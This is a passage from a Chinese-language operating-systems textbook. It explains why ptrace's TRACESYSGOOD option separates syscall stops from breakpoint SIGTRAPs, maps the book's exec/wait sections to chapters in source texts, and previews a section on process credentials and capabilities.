A5 因为普通 SIGTRAP(比如断点、exec 后的初始停止)也会让 waitpid 返回 stopped。PTRACE_O_TRACESYSGOOD 让 syscall-stop 使用 SIGTRAP | 0x80 这个扩展信号号,从而与真正的断点区分开;不检查就会把断点当成系统调用边界,导致入口/出口计数错位。

母本对应

母本章节本书落点程度
K第 27 章 程序的执行2.8.1–2.8.5完整(execve、家族、fd、system)
K第 28 章 28.4(exec/fork 对属性的影响)2.8.1完整(保留/重置清单)
K第 26 章 26.1.5–26.1.6(waitid、wait4)2.8.6完整(siginfo_t、rusage)
C第 8 章 8.4 进程控制2.8.1–2.8.4完整(fork/exec/wait 组合)
C第 9 章 9.8 内存映射2.8.1背景(exec 丢弃映射)
O第 5 章 插叙:进程 API2.8.1、2.8.4对照(fork/exec/wait 语义)
G第 16 章 程序管理与 SELinux 初探2.8.6背景(ps//proc 观测)
N第 3 章 内核如何与用户进程协作2.8.7背景(阻塞与唤醒,ptrace 属调试接口)

下一站:2.9 进程凭证、用户、组与能力 回答「exec 之后你是谁」:真实/有效/保存 UID 如何决定权限,setuid 程序为什么要先降权再干活,capability 又如何把 root 的特权拆成可单独授予的位。